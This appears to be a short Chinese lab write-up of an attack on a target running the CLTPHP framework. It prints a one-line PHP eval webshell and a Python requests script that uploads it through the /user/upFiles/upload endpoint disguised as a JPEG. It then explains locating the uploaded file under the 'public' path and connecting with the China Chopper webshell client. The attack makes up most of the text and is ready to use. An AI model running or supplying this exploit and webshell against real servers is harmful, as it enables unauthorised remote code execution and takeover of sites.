实验环境

1.装载cltphp框架的靶机

2.python 3运行环境(需要requests类库)

3中国菜刀

攻击思路

1.简单观察网站

首先观察网站的结构,在加入我们中发现注册界面但网站的验证码明显存在bug

没有bug的环境直接在个人资料中有上传图片的选项,把一句话木马简单绕过就可以上传到服务器

2.利用python脚本上传

所以直接利用python脚本上传一句话木马<?php eval($_POST['a']); ?>

构造上传脚本1.py 利用requests类库

import requests

import sys

def CLPHP_upload(url):

header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' ,

'X-Requested-With': 'XMLHttpRequest',}

geturl = url+"/user/upFiles/upload"

files ={'file':('1.php',open('1.php','rb'),'image/jpeg')}

res = requests.post(geturl, files=files,headers=header)

print (res.text)

 

if __name__ == "__main__":

if len(sys.argv) == 2:

url=sys.argv[1]

CLPHP_upload(url)

sys.exit(0)

else:

print ("usage: %s xxx.com " % sys.argv[0])

sys.exit(-1)

上传成功url为\/uploads\/20200628\/0bfbb937e15d35202a1145f45dff6d07.php

访问网站uploads,显示不存在此路径尝试在路径前加app/admin/public/site/等前缀,得到public为此网站的前缀,如图所示,实际情况可以用御剑扫描目录,网站可能宕机慎用

最后用菜刀连接即可


初闻不知曲中意,再听已是曲中人